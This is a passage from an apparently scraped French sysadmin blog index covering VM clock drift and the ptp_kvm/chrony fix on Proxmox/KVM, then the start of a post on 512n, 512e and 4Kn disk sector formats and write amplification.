elles-mêmes. On s\u0026rsquo;y intéresse quand quelque chose cesse de marcher.\nKerberos et Active Directory Kerberos dépend du temps par conception, parce que la validité d\u0026rsquo;un ticket s\u0026rsquo;exprime comme une fenêtre temporelle.\nLa documentation du krb5.conf du MIT définit clockskew comme « the maximum allowable amount of clockskew in seconds that the library will tolerate before assuming that a Kerberos message is invalid » — le décalage maximal en secondes que la bibliothèque tolérera avant de considérer qu\u0026rsquo;un message Kerberos est invalide, et la valeur par défaut est de 300 secondes, soit cinq minutes.\nFranchissez ça et l\u0026rsquo;authentification ne se dégrade pas, elle échoue. Comme l\u0026rsquo;authentification Active Directory est du Kerberos, ça veut dire les ouvertures de session du domaine, net use, les connexions SQL Server, Exchange, les partages de fichiers — le lot. Cinq minutes semblent généreuses jusqu\u0026rsquo;à ce qu\u0026rsquo;un invité recule après une restauration d\u0026rsquo;instantané.\nTLS Un certificat porte une fenêtre de validité : notBefore et notAfter. Un invité dont l\u0026rsquo;horloge retarde rejettera un certificat émis ce matin parce que, pour ce qu\u0026rsquo;il en sait, le certificat n\u0026rsquo;est pas encore valide. Un invité dont l\u0026rsquo;horloge avance en rejettera un qui n\u0026rsquo;a en réalité pas expiré.\nLa même arithmétique gouverne la fraîcheur OCSP et CRL, les revendications nbf/exp des JWT, et les codes TOTP de l\u0026rsquo;authentification multifacteur, qui vivent dans des fenêtres de 30 secondes. Une horloge décalée de 45 secondes est une panne d\u0026rsquo;authentification avec un message d\u0026rsquo;erreur très déroutant.\nCeph Les moniteurs Ceph tiennent à ça plus qu\u0026rsquo;à presque tout le reste de la pile, parce que leur consensus en dépend.\nLe contrôle de santé MON_CLOCK_SKEW se déclenche quand « the clocks on hosts running Ceph Monitor daemons are not well-synchronized » — les horloges des hôtes qui font tourner des démons Ceph Monitor ne sont pas bien synchronisées. Précisément, quand le décalage dépasse mon_clock_drift_allowed. Le conseil de la documentation est de se synchroniser avec ntpd ou chrony sur plusieurs sources, et elle note que la synchronisation entre moniteurs compte particulièrement.\nVous pouvez augmenter mon_clock_drift_allowed, mais la doc est claire : ça doit rester « significantly below the mon_lease interval » — nettement en dessous de l\u0026rsquo;intervalle mon_lease. À ce titre, c\u0026rsquo;est un petit budget, et le dépenser pour masquer un problème de mesure du temps de l\u0026rsquo;hyperviseur n\u0026rsquo;est pas un bon marché.\nTout le reste Les journaux de plusieurs hôtes cessent de se corréler, ce qui transforme la chronologie d\u0026rsquo;un incident en devinette. La réplication de bases de données et le consensus distribué — etcd, Galera, tout ce qui fait des baux de leader — deviennent grincheux. Les fenêtres de sauvegarde et de supervision glissent hors alignement avec la chose qu\u0026rsquo;elles étaient censées observer.\nLes invités Windows se décalent autrement Windows mérite sa propre note, parce que son service de temps a été bâti avec d\u0026rsquo;autres objectifs et ça se voit.\nMicrosoft dit tout net que les versions antérieures à Windows 10 1607 / Server 2016 « can\u0026rsquo;t guarantee highly accurate time » — ne peuvent pas garantir une heure de haute précision. Ce que le service de temps Windows fournissait sur ces versions, c\u0026rsquo;était « the necessary time accuracy to satisfy Kerberos version 5 authentication requirements » — la précision nécessaire pour satisfaire les exigences d\u0026rsquo;authentification de Kerberos version 5, et une heure « loosely accurate », vaguement juste, pour les machines d\u0026rsquo;une même forêt AD. Plus serré que ça était « outside of the design specification… and weren\u0026rsquo;t supported » — hors de la spécification de conception, et non supporté.\nAutrement dit, les Windows anciens visent à rester dans la fenêtre Kerberos de cinq minutes, pas à être justes. Ce qui va très bien jusqu\u0026rsquo;à ce que quelque chose dans votre parc ait besoin de mieux. Une machine Windows virtualisée décalée de 90 secondes s\u0026rsquo;authentifiera sans broncher tout en écrivant des journaux qui ne peuvent être corrélés avec rien.\nWindows 10 et Server 2016 et au-delà savent faire 1 s, 50 ms ou même 1 ms — mais seulement dans les conditions citées plus haut, y compris les limites d\u0026rsquo;utilisation CPU de l\u0026rsquo;hôte. Microsoft note aussi que « anything that introduces network asymmetry, such as a one-way satellite connection or high CPU load on the target system, will negatively influence accuracy » — tout ce qui introduit une asymétrie réseau, comme une liaison satellite unidirectionnelle ou une forte charge CPU sur le système cible, nuira à la précision. Un vCPU en concurrence, c\u0026rsquo;est une forte charge CPU sur le système cible sous un autre nom.\nIl n\u0026rsquo;y a pas de ptp_kvm pour Windows. Ce dont vous disposez à la place :\nLes enlightenments d\u0026rsquo;horloge Hyper-V. Proxmox les expose déjà aux invités Windows. PVE::QemuServer::CPUConfig pose hv_time à côté de hv_vapic, hv_spinlocks, hv_relaxed et hv_synic. hv_time est l\u0026rsquo;horloge paravirtuelle, et c\u0026rsquo;est l\u0026rsquo;équivalent côté Windows de kvm-clock. C\u0026rsquo;est actif par défaut pour les VM typées Windows ; il n\u0026rsquo;y a rien à activer. L\u0026rsquo;agent invité QEMU. Avec l\u0026rsquo;agent installé, l\u0026rsquo;hôte peut pousser son heure dans l\u0026rsquo;invité après une reprise ou une restauration d\u0026rsquo;instantané, ce qui traite le cas du saut, celui que NTP gère le plus mal. Choisissez une seule autorité. L\u0026rsquo;échec classique de Windows en VM, c\u0026rsquo;est deux sources de temps qui se battent : la synchro hôte vers invité et la synchro par la hiérarchie du domaine, toutes deux à corriger la même horloge en sens contraire. Pour un invité joint au domaine, laissez la hiérarchie du domaine gagner et arrêtez de lui pousser l\u0026rsquo;heure depuis l\u0026rsquo;hôte. Pour un invité autonome, la synchro par l\u0026rsquo;hôte convient. Jamais les deux. Si vous voulez savoir exactement ce que votre hyperviseur raconte à une VM donnée au sujet du temps, demandez-le-lui au lieu de deviner :\n# Everything Proxmox actually passes to QEMU for this VM, including -rtc and CPU flags qm showcmd \u0026lt;vmid\u0026gt; --pretty Le correctif sur QEMU/KVM : ptp_kvm Pour les invités Linux sur KVM il existe une vraie réponse, et ce n\u0026rsquo;est pas « plus de serveurs NTP ».\nptp_kvm laisse l\u0026rsquo;invité demander l\u0026rsquo;heure à l\u0026rsquo;hôte, directement, par un hypercall — KVM_HC_CLOCK_PAIRING sur x86, et un appel firmware équivalent sur arm64. Le noyau présente ça comme un équipement d\u0026rsquo;horloge matérielle PTP, donc depuis l\u0026rsquo;espace utilisateur ça ressemble à n\u0026rsquo;importe quelle autre source d\u0026rsquo;horloge de précision, et chrony peut s\u0026rsquo;en servir comme horloge de référence.\nLes propriétés qui comptent :\nPas de réseau. Pas de gigue, pas d\u0026rsquo;asymétrie, pas de strate, pas de paquets. Le chemin est une frontière mémoire. Sous la microseconde. La précision est bornée par l\u0026rsquo;hypercall, pas par un aller-retour à travers un centre de données. Ça contourne la partie cassée. L\u0026rsquo;invité ne compte rien et n\u0026rsquo;estime aucun aller-retour. Il lit une valeur que l\u0026rsquo;hôte a calculée avec une horloge qui, elle, tournait tout du long. NTP à travers le réseau face à ptp_kvm à travers une frontière mémoire chrony contre des pools réseau invité l'horloge s'arrête sans cesse réseau gigue, asymétrie serveur de strate 2 à des dizaines de ms l'aller-retour est mesuré par l'horloge qu'on corrige — et le processus qui mesure peut être déordonnancé en pleine mesure chrony contre ptp_kvm invité lit /dev/ptp_kvm horloge de l'hôte ne s'est jamais arrêtée hypercall KVM_HC_CLOCK_PAIRING une frontière mémoire, pas un réseau sous la µs Pas de paquets, pas de strate, pas d'asymétrie, et rien d'estimé. L'invité ne cherche pas quelle heure il est — on la lui dit, et c'est le seul participant qui était éveillé tout l'intervalle. Les deux chemins finissent par l\u0026rsquo;invité qui règle son horloge. L\u0026rsquo;un mesure un aller-retour réseau avec une horloge qui n\u0026rsquo;arrête pas de s\u0026rsquo;arrêter ; l\u0026rsquo;autre demande à l\u0026rsquo;hyperviseur. Mise en œuvre Appliquez ceci à toutes les VM Linux qui ont le pilote. L\u0026rsquo;hyperviseur hôte a besoin d\u0026rsquo;un NTP ou d\u0026rsquo;un PTP qui marche, de son côté. ptp_kvm remet à l\u0026rsquo;invité l\u0026rsquo;heure de l\u0026rsquo;hôte, donc il hérite de l\u0026rsquo;erreur de l\u0026rsquo;hôte.\n1. Charger le module noyau au démarrage.\n# /etc/modules-load.d/ptp_kvm.conf ptp_kvm 2. Lui donner un nom stable et laisser chrony le lire.\n# /etc/udev/rules.d/90-ptp-kvm.rules ACTION==\u0026#34;add\u0026#34;, SUBSYSTEM==\u0026#34;ptp\u0026#34;, ATTR{clock_name}==\u0026#34;kvm\u0026#34;, SYMLINK+=\u0026#34;ptp_kvm\u0026#34;, GROUP=\u0026#34;chrony\u0026#34;, MODE=\u0026#34;0660\u0026#34; Le lien symbolique compte parce que la numérotation des équipements PTP n\u0026rsquo;est pas stable. /dev/ptp0 peut être l\u0026rsquo;horloge d\u0026rsquo;une NIC à un démarrage et l\u0026rsquo;horloge KVM au suivant. Filtrer sur clock_name attrape la bonne à chaque fois.\n3. Pointer chrony dessus, et retirer les pools.\nÉditez /etc/chrony/chrony.conf sur Debian et Ubuntu, ou /etc/chrony.conf sur la famille RHEL. Supprimez les lignes pool et mettez :\nrefclock PHC /dev/ptp_kvm poll 2 stratum 1 delay 0.0004 Retirer les pools n\u0026rsquo;est pas du rangement facultatif. Les laisser demande à chrony de réconcilier une référence locale sous la microseconde avec des serveurs Internet à des dizaines de millisecondes, et les sources Internet ne peuvent que rendre la réponse pire.\n4. Redémarrer et vérifier.\nsystemctl restart chronyd # or chrony, on Debian/Ubuntu Vérification # The symlink exists and points at the KVM clock ls -l /dev/ptp_kvm cat /sys/class/ptp/ptp*/clock_name # chrony should be using PHC0 as its selected source chronyc sources -v # and the offset should be microseconds, not milliseconds chronyc tracking Dans chronyc sources, la refclock PHC apparaît comme #* PHC0 une fois sélectionnée. Le # marque une référence matérielle locale plutôt qu\u0026rsquo;un pair réseau, et le * marque celle qui est en service. Si vous la voyez listée mais pas sélectionnée, chrony ne l\u0026rsquo;a pas acceptée : vérifiez les permissions sur l\u0026rsquo;équipement et que le groupe chrony de la règle udev correspond à l\u0026rsquo;utilisateur sous lequel chrony tourne réellement sur votre distribution.\nRéserves L\u0026rsquo;hôte doit être juste. Ceci met l\u0026rsquo;invité d\u0026rsquo;accord avec l\u0026rsquo;hôte, ce qui n\u0026rsquo;est utile que si l\u0026rsquo;hôte est d\u0026rsquo;accord avec la réalité. Donnez aux hyperviseurs du vrai NTP ou PTP. Il faut le mettre sur tous les invités. Un parc où la moitié des VM utilisent ptp_kvm et l\u0026rsquo;autre moitié des pools Internet est un parc à deux autorités de temps. La migration à chaud passe très bien, et c\u0026rsquo;est tout l\u0026rsquo;intérêt. Après migration, l\u0026rsquo;invité lit l\u0026rsquo;horloge de son nouvel hôte. Pourvu que les hôtes soient d\u0026rsquo;accord entre eux, l\u0026rsquo;invité ne voit jamais de saut. KVM seulement. C\u0026rsquo;est un hypercall KVM. Les hyperviseurs imbriqués ou étrangers ne présenteront pas l\u0026rsquo;équipement, et la règle udev ne se déclenchera tout simplement pas. C\u0026rsquo;est un échec propre plutôt qu\u0026rsquo;une mauvaise réponse silencieuse. Ce qu\u0026rsquo;il ne faut pas faire Ne forcez pas la clocksource. Laissez kvm-clock tranquille. Forcer tsc ou hpet sur la ligne de commande noyau de l\u0026rsquo;invité échange une horloge paravirtuelle conçue pour cette situation contre un compteur qui n\u0026rsquo;a jamais été à vous. Ne lancez pas ntpdate ou hwclock depuis cron. C\u0026rsquo;est un saut d\u0026rsquo;horloge à heure fixe, exactement ce que détestent les bases de données et Kerberos. Ne gardez pas les pools « en secours ». Avec une refclock qui marche, ce ne sont pas un secours, c\u0026rsquo;est un deuxième avis venu d\u0026rsquo;une source moins bonne. N\u0026rsquo;augmentez pas mon_clock_drift_allowed en croyant avoir corrigé. Vous avez dépensé une part d\u0026rsquo;un budget qui existe pour la réalité du réseau, afin de tolérer un problème dont la solution est connue. Ce dernier point mérite d\u0026rsquo;être dit franchement : élargir le seuil ne répare pas l\u0026rsquo;horloge. Ça déplace l\u0026rsquo;alarme pour qu\u0026rsquo;elle arrête de sonner.\nRéférences Linux kernel — KVM timekeeping — pourquoi l\u0026rsquo;heure de l\u0026rsquo;invité prend du retard, le problème d\u0026rsquo;horloge locale du TSC, et la conclusion qu\u0026rsquo;il n\u0026rsquo;existe que des compromis Linux kernel — PTP_KVM — l\u0026rsquo;interface d\u0026rsquo;hypercall derrière l\u0026rsquo;équipement d\u0026rsquo;horloge PTP Linux kernel — KVM x86 hypercalls — KVM_HC_CLOCK_PAIRING, le côté x86 de la chose chrony — chrony.conf — la directive refclock et les options du pilote PHC MIT Kerberos — krb5.conf — clockskew et sa valeur par défaut de 300 secondes Microsoft — support boundary for high accuracy time — les cibles de précision, et les conditions d\u0026rsquo;utilisation CPU de l\u0026rsquo;hôte pour les systèmes virtualisés Ceph — health checks — MON_CLOCK_SKEW, mon_clock_drift_allowed et sa relation avec mon_lease ","permalink":"https://blogs.damiendye.uk/fr/proxmox/vm-time-ptp-kvm/","summary":"L\u0026rsquo;horloge d\u0026rsquo;une machine virtuelle repose sur une hypothèse que la virtualisation casse : que le CPU continue de compter. Pourquoi l\u0026rsquo;heure des invités dérive sur tous les hyperviseurs, ce que le décalage casse vraiment — Kerberos, TLS, Ceph, Windows — et comment ptp_kvm corrige ça proprement sur QEMU/KVM.","title":"L'horloge d'une VM n'est pas fiable — et le correctif ptp_kvm pour QEMU/KVM"},{"content":"Trois façons pour un disque de se présenter Un disque a deux tailles de bloc, et la différence entre elles est toute l\u0026rsquo;histoire.\nLe secteur physique est ce dans quoi le support travaille réellement — la plus petite unité que le disque peut lire ou écrire sans faire de travail supplémentaire. Le bloc logique est ce dans quoi le disque dit à l\u0026rsquo;hôte qu\u0026rsquo;il travaille — l\u0026rsquo;unité que l\u0026rsquo;hôte adresse.\nIl y a trois combinaisons dans la nature.\n512n — 512 natif. Les deux tailles sont de 512 octets. C\u0026rsquo;est le vieux monde : disques durs d\u0026rsquo;avant 2010, et rien que vous achèteriez neuf aujourd\u0026rsquo;hui à une taille qui vaille la peine.\n512e — émulation de 512 octets. Le secteur physique est de 4096 octets, mais le disque rapporte des blocs logiques de 512 octets et traduit dans le micrologiciel. Cela existe pour une seule raison : la compatibilité avec les systèmes d\u0026rsquo;exploitation, les chargeurs d\u0026rsquo;amorçage et les applications qui ont toujours supposé 512. Assez sensé comme ingénierie, et la racine de la quasi-totalité des ennuis qui suivent.\n4Kn — 4K natif. Les deux tailles sont de 4096 octets. Le disque dit la vérité, l\u0026rsquo;hôte l\u0026rsquo;adresse dans l\u0026rsquo;unité que le support utilise, et aucune couche de traduction ne se glisse entre les deux.\n512n, 512e et 4Kn : ce que l'hôte adresse contre ce que le support utilise ligne haute = logique, ce que l'hôte adresse · ligne basse = physique, ce dans quoi le support travaille 512n 512512 512512 512512 512512 1:1, et honnête — mais obsolète. Rien de neuf ne sort ainsi. 512e 8 × 512 o logique — ce qu'on dit à l'hôte un secteur physique de 4096 o — ce qui existe vraiment le micrologiciel traduit, à chaque accès L'hôte adresse quelque chose qui n'est pas là. Les écritures qui ne remplissent pas un secteur coûtent en plus. 4Kn un bloc logique de 4096 o un secteur physique de 4096 o rien à traduire Le disque dit la vérité, donc rien en aval ne peut prendre une décision sur un mauvais nombre. Le 512e est le cas intéressant : l\u0026rsquo;hôte adresse quelque chose qui n\u0026rsquo;existe pas, et le micrologiciel maintient la fiction à chaque accès. Ce que le 512e fait à chaque écriture non alignée Une lecture est bon marché dans les trois cas. Le disque lit le secteur de 4K et rend la tranche de 512 octets que vous avez demandée.\nC\u0026rsquo;est aux écritures que la fiction devient chère.\nSi l\u0026rsquo;hôte écrit un seul bloc logique de 512 octets, le disque ne peut pas écrire 512 octets. Le support n\u0026rsquo;a pas une telle unité. Alors il fait ceci à la place :\nLire tout le secteur physique de 4096 octets. Fusionner les 512 octets de nouvelles données dedans. Réécrire tout le secteur de 4096 octets. C\u0026rsquo;est un lire-modifier-écrire, et cela transforme une petite écriture en une lecture plus une écriture. Sur un disque à plateaux, cela veut dire attendre que le plateau revienne. Une rotation complète à 7 200 tr/min, c\u0026rsquo;est quelque chose comme 8 ms que vous n\u0026rsquo;aviez pas budgétés. Sur la flash, le coût est d\u0026rsquo;une autre nature, et il ne disparaît pas quand l\u0026rsquo;écriture finit. Celui-là a sa propre section plus bas.\nLa pénalité lire-modifier-écrire, et ce que le désalignement lui fait 4Kn — écriture de 4 Ko alignée 4 Ko de données remplissent le secteur 1 écriture rien à lire d'abord 512e — écrire un bloc logique de 512 o 1. lire tout le secteur physique 4096 o relus 2. fusionner les 512 o seul ceci a vraiment changé 3. réécrire tout le secteur 4096 o écrits 1 lecture + 1 écriture une rotation sur un disque ; une page programmée sur flash 512e — écriture de 4 Ko désalignée (la coûteuse) une écriture de 4 Ko, décalée d'un demi-secteur secteur physique n secteur physique n+1 2 lire-modifier-écrire à chaque écriture, pour toujours Les outils de partitionnement modernes alignent sur le secteur physique par défaut, donc c'est d'ordinaire hérité d'une vieille installation ou d'une image clonée plutôt que créé à neuf. Cela ne se corrige pas tout seul. Une écriture de 4K alignée sur 4K n\u0026rsquo;a besoin d\u0026rsquo;aucune lecture. Tout le reste en a besoin — et une écriture à cheval sur une limite de secteur en a besoin de deux. Le désalignement est la version de ceci qui mord le plus fort. Si une partition commence à un décalage impair de 512 octets — le classique étant la vieille convention des 63 secteurs — alors chaque écriture de système de fichiers 4K est à cheval sur deux secteurs physiques. Ce n\u0026rsquo;est pas un lire-modifier-écrire, c\u0026rsquo;en est deux, à chaque écriture, pour toujours, jusqu\u0026rsquo;à ce que quelqu\u0026rsquo;un repartitionne le disque.\nL\u0026rsquo;amplification d\u0026rsquo;écriture sur la flash Sur un disque dur, le lire-modifier-écrire vous coûte une rotation et puis c\u0026rsquo;est fini. Sur la flash, il vous coûte de la vie du disque, et c\u0026rsquo;est une facture que vous payez une fois et continuez de payer.\nL\u0026rsquo;amplification d\u0026rsquo;écriture est le rapport entre ce qui a réellement été écrit sur la NAND et ce que l\u0026rsquo;hôte a demandé d\u0026rsquo;écrire. Un rapport de 1,0 voudrait dire que le disque a écrit exactement ce qu\u0026rsquo;on lui a donné. Ce n\u0026rsquo;est jamais 1,0, parce que la flash ne peut pas réécrire sur place : le disque programme une page fraîche, marque l\u0026rsquo;ancienne comme périmée, et le ramasse-miettes relocalise plus tard les pages survivantes pour qu\u0026rsquo;un bloc entier puisse être effacé. Ces relocalisations sont aussi des écritures.\nLe 512e ajoute une couche évitable par-dessus cela, et la raison est un détail à énoncer clairement : la couche de traduction du disque mappe en unités d\u0026rsquo;environ 4 Ko quelle que soit la taille de bloc logique qu\u0026rsquo;elle annonce. Un disque rapportant des blocs de 512 octets suit encore des unités de 4 Ko en interne.\nDonc une écriture de 512 octets de l\u0026rsquo;hôte devient, à l\u0026rsquo;intérieur du disque : lire l\u0026rsquo;unité de mappage de 4 Ko, y fusionner les 512 octets, programmer une nouvelle unité de 4 Ko. 4096 octets atteignent la NAND pour que 512 octets aient pu changer. Huit fois l\u0026rsquo;écriture, pour cette écriture.\nLe désalignement est moins dramatique par écriture et pire au total. Une écriture de 4 Ko à cheval sur deux unités de mappage les salit toutes deux, donc 8 Ko sont programmés pour 4 Ko de données. C\u0026rsquo;est une amplification de 2× à chaque écriture, en permanence, jusqu\u0026rsquo;à ce que la table de partitions soit corrigée.\nPourquoi une écriture désalignée double ce qui atteint la NAND de haut en bas : ce que l'hôte a écrit → les unités de mappage de 4 Ko du disque → ce qui a atteint la NAND 512e — écriture de 4 Ko, désalignée 4 Ko de l'hôte unité n unité n+1 4 Ko réécrits 4 Ko réécrits 8 Ko écrits pour 4 Ko — WAF 2× à chaque écriture, jusqu'à correction de la table de partitions 4Kn — écriture de 4 Ko, alignée 4 Ko de l'hôte unité n 4 Ko écrits 4 Ko pour 4 Ko — WAF ≈ 1× le plancher, avant le ramasse-miettes Aucun côté n'échappe au ramasse-miettes : le disque doit encore relocaliser ce qui est vivant dans un bloc avant de pouvoir l'effacer, et ce travail grandit avec ce qui a été écrit au départ. 4Kn ne fait pas disparaître l'amplification — il retire la part que vous payiez pour rien. L\u0026rsquo;hôte a demandé les mêmes 4 Ko dans les deux cas. À gauche, ils atterrissent à cheval sur deux unités de mappage, donc les deux sont réécrites — et le ramasse-miettes déplacera plus tard ce qui y est encore vivant. Les effets en cascade sont ce qui rend cela important plutôt que simplement négligé :\nPlus d\u0026rsquo;écritures NAND veut dire que le ramasse-miettes tourne plus souvent, et ses relocalisations sont elles-mêmes de l\u0026rsquo;amplification. Un cache d\u0026rsquo;écriture SLC se remplit plus tôt, donc le disque tombe plus tôt dans son régime établi plus lent et le débit d\u0026rsquo;écriture soutenu chute. Les cycles programmation/effacement sont consommés en proportion de ce qui a atteint la NAND, pas de ce que l\u0026rsquo;hôte a envoyé. Doublez l\u0026rsquo;amplification et vous avez divisé par deux la vie du disque pour la même charge. Les notes d\u0026rsquo;endurance — TBW, DWPD — sont indiquées contre les écritures de l\u0026rsquo;hôte. L\u0026rsquo;amplification grignote cette marge en silence, et le disque s\u0026rsquo;use avant l\u0026rsquo;arithmétique de garantie que vous aviez faite à l\u0026rsquo;achat. Les écritures directes et synchrones sont le pire cas La plupart du temps, le cache de pages cache tout cela. Le noyau accumule les petites écritures, les fusionne, et émet des IO de 4 Ko ou plus vers le disque, donc le lire-modifier-écrire n\u0026rsquo;arrive jamais.\nDeux drapeaux retirent cette protection, et les applications qui tiennent à la durabilité mettent les deux.\nO_DIRECT contourne le cache de pages. Il n\u0026rsquo;y a désormais plus rien entre l\u0026rsquo;application et le disque pour fondre une écriture de 512 octets en quelque chose de la taille d\u0026rsquo;un secteur.\nO_SYNC ou O_DSYNC exige que l\u0026rsquo;écriture soit sur un support stable avant que l\u0026rsquo;appel ne revienne. Cela empêche le disque d\u0026rsquo;absorber l\u0026rsquo;écriture dans un tampon volatil et de la combiner avec ses voisines plus tard.\nMettez-les ensemble et chaque écriture de 512 octets est un cycle complet de lire-modifier-écrire qui doit finir maintenant, seul, sans rien contre quoi l\u0026rsquo;amortir. C\u0026rsquo;est là que l\u0026rsquo;amplification sur un disque 512e approche son 8× théorique, et c\u0026rsquo;est exactement le schéma que produisent un journal de commit de base de données, un ZIL de ZFS ou un WAL BlueStore de Ceph.\nLa protection contre la coupure de courant est ce qui sauve cela sur le matériel d\u0026rsquo;entreprise. Un disque avec PLP peut acquitter une écriture synchrone dès qu\u0026rsquo;elle est dans un tampon DRAM adossé à un condensateur, qui est durable, et coalescer quand même en interne avant de programmer la NAND. Un disque grand public sans PLP doit atteindre la flash avant de pouvoir répondre, donc il paie le plein coût par écriture. Une raison de plus pour laquelle le PLP n\u0026rsquo;est pas optionnel pour ce genre de charge.\nDans Proxmox, le mode de cache décide lequel de ceux-ci vous obtenez :\ncache=none est O_DIRECT — le défaut de PVE, et le bon choix pour du tout-flash HA. Le cache de pages de l\u0026rsquo;hôte est hors du chemin, donc les schémas d\u0026rsquo;écriture de l\u0026rsquo;invité atteignent le disque tels que l\u0026rsquo;invité les a émis. cache=directsync est O_DIRECT plus O_DSYNC — chaque écriture synchrone. C\u0026rsquo;est un réglage de niche pour des disques dédiés aux journaux de base de données et inutilisable pour des charges générales. Sur un périphérique d\u0026rsquo;appui 512e, cache=directsync avec un invité qui commite en enregistrements de 512 octets est à peu près l\u0026rsquo;arrangement le moins efficace disponible : pas de coalescence de l\u0026rsquo;hôte, pas de coalescence du disque, et un lire-modifier-écrire par commit.\nEt voici la partie qui rend le 4Kn structurel plutôt que simplement préférable. O_DIRECT exige que le décalage, la longueur et le tampon soient alignés sur la taille de bloc logique du disque. Sur un disque 512e, c\u0026rsquo;est 512 octets, donc une écriture directe de 512 octets est légale et le disque la paie en silence. Sur 4Kn, le bloc logique est 4096, donc la plus petite écriture directe que le noyau acceptera est de 4 Ko. Le schéma pathologique cesse d\u0026rsquo;être quelque chose que vous devez éviter et devient quelque chose que la pile ne peut pas exprimer.\nSurcharge sur le support Le deuxième coût est structurel, et c\u0026rsquo;est la raison pour laquelle l\u0026rsquo;Advanced Format existe tout court.\nUn secteur n\u0026rsquo;est pas que ses données. Sur un disque dur, chacun porte une marque de synchronisation pour que la tête sache où le secteur commence, un intervalle pour que les secteurs consécutifs ne se percutent pas, un marqueur d\u0026rsquo;adresse, et un champ ECC pour corriger les erreurs de lecture.\nAvec des secteurs de 512 octets, vous payez tout cela huit fois pour chaque 4K de données. Avec un secteur de 4K, vous le payez une fois.\nCela a deux conséquences, et la seconde compte plus que la première :\nUne partie du plateau qui était de la surcharge devient de la capacité utilisable. C\u0026rsquo;était la motivation annoncée de l\u0026rsquo;industrie pendant la transition vers l\u0026rsquo;Advanced Format, dans les faibles pourcentages à un chiffre. Le champ ECC peut être bien plus grand pour la même surcharge totale. Un code fort protégeant 4096 octets corrige bien plus que huit codes faibles protégeant chacun 512 octets. À mesure que la densité surfacique grimpait, cela a cessé d\u0026rsquo;être un luxe et est devenu le seul moyen de garder des taux d\u0026rsquo;erreur acceptables. La surcharge par secteur est payée huit fois à 512 octets et une fois à 4K secteurs de 512 octets — les mêmes 4 Ko de données 8 secteurs × (sync + données + ECC + intervalle) 8 × la surcharge par secteur, et huit petits champs ECC Un secteur de 4096 octets — mêmes données 1 × la surcharge, et un champ ECC bien plus grand sync, marqueur d'adresse, intervalle ECC vos données Hors échelle — les champs de surcharge sont exagérés pour être visibles. La capacité récupérée valait quelques pour cent à un chiffre. L'ECC plus fort est pourquoi l'industrie a vraiment bougé. Huit jeux de marques de synchronisation, d\u0026rsquo;intervalles et d\u0026rsquo;ECC, ou un seul. L\u0026rsquo;espace récupéré est le petit gain ; la correction d\u0026rsquo;erreur plus forte est la raison pour laquelle l\u0026rsquo;industrie a bougé. La flash n\u0026rsquo;a ni marques de synchronisation ni intervalles de rotation, mais la même logique s\u0026rsquo;applique un niveau plus haut : la NAND est programmée en pages, les pages sont bien plus grandes que 512 octets, et les tables de mappage du disque ont une entrée par unité adressable. Des blocs logiques plus petits veulent dire plus de métadonnées pour suivre la même capacité.\nSurcharge dans l\u0026rsquo;hôte : commandes et interruptions Le troisième coût est celui que les gens ratent, parce qu\u0026rsquo;il n\u0026rsquo;est pas du tout sur le disque.\nLa taille de bloc logique fixe le plancher de la petitesse d\u0026rsquo;une IO. Sur un disque logique de 512 octets, un système de fichiers ou une application est libre d\u0026rsquo;émettre une écriture de 512 octets, et chacune est une IO complète : une commande construite et soumise, une écriture de sonnette, une entrée dans la file d\u0026rsquo;achèvement, et une interruption pour dire qu\u0026rsquo;elle a fini.\nChacune de celles-ci a un coût fixe qui se moque de la quantité de données impliquée. Déplacez 4 Ko en huit commandes de 512 octets et vous payez ce coût huit fois. Déplacez-le en une commande de 4K et vous le payez une fois.\nLa taille de bloc logique fixe le plancher de la taille d'IO, et chaque commande a un coût fixe blocs logiques de 512 o — une appli peut émettre des écritures de 512 o 4 Ko de données deviennent 8 commandes 512 o512 o 512 o512 o 512 o512 o 512 o512 o 8 × soumission + sonnette 8 × entrée d'achèvement 8 × occasion d'interruption 8 × le coût fixe par commande pour exactement les mêmes 4 Ko de données blocs logiques de 4 Ko — 4 Ko est le plancher une commande de 4 Ko 1 × soumission, 1 × achèvement, 1 × interruption 1 × le coût fixe Cela n'aide que là où de petites IO sont réellement émises : une commande peut décrire beaucoup de blocs, donc une écriture de 1 Mo est une commande dans les deux cas. Les mêmes 4 Ko de données. Le disque n\u0026rsquo;est pas le goulot d\u0026rsquo;étranglement ici — c\u0026rsquo;est le coût par commande et par achèvement dans l\u0026rsquo;hôte. Deux réserves honnêtes, parce que c\u0026rsquo;est là que l\u0026rsquo;argument est d\u0026rsquo;ordinaire exagéré.\nPour les grandes IO, la taille de bloc logique ne change rien au nombre de commandes. Une seule commande peut décrire beaucoup de blocs, donc une écriture séquentielle de 1 Mo est une commande que les blocs fassent 512 octets ou 4K. L\u0026rsquo;économie n\u0026rsquo;est réelle que là où de petites IO sont émises.\nLà où de petites IO sont émises, cependant, l\u0026rsquo;effet n\u0026rsquo;est pas subtil : chacune de ces huit requêtes est une que le noyau doit construire, ordonnancer et achever, chacune avec sa propre interruption MSI-X et sa transition utilisateur-vers-noyau, et à des profondeurs de file élevées, c\u0026rsquo;est ainsi qu\u0026rsquo;on obtient une tempête d\u0026rsquo;interruptions. Dans une VM, c\u0026rsquo;est encore pire, parce que chacune de ces interruptions est aussi un changement de contexte de l\u0026rsquo;invité.\nEt les contrôleurs NVMe modernes regroupent les interruptions, donc le nombre d\u0026rsquo;interruptions n\u0026rsquo;est pas simplement le nombre de commandes. Le travail de soumission et d\u0026rsquo;achèvement par commande demeure, cependant, et à quelques centaines de milliers d\u0026rsquo;IOPS le coût CPU par commande est une fraction mesurable d\u0026rsquo;un cœur. C\u0026rsquo;est la même arithmétique que les interruptions postées dans la série passthrough — de petits coûts fixes multipliés par un très grand nombre.\n4Kn, métadonnées de secteur et RAID matériel Passer à un format 4096 + 0 a une conséquence qui prend les gens au dépourvu, et elle retombe carrément sur le RAID matériel.\nCertains contrôleurs RAID et baies de stockage n\u0026rsquo;utilisent pas du tout de simples secteurs de 512 ou 4096 octets. Ils formatent les disques à une taille étendue — 520 ou 528 octets, ou les équivalents 4K comme 4104, 4160 et 4224 — parce que ces octets supplémentaires par secteur sont là où le contrôleur garde ses propres métadonnées. Ce sont des informations de protection T10-PI/DIF, ou des données d\u0026rsquo;intégrité du fabricant, stockées en ligne avec les données mêmes qu\u0026rsquo;elles décrivent.\nUn format 4096 + 0 n\u0026rsquo;a nulle part où les mettre. Le secteur est des données, de bout en bout, et c\u0026rsquo;est tout l\u0026rsquo;intérêt de le choisir.\nUn contrôleur qui veut des métadonnées en ligne a donc trois options, et aucune n\u0026rsquo;est gratuite :\nRefuser le disque. Le reformater en un format étendu, défaisant le travail 4Kn que vous venez de faire. Garder ses métadonnées ailleurs sur le disque. La troisième est là où la flash vous punit. Des métadonnées écrites séparément des données 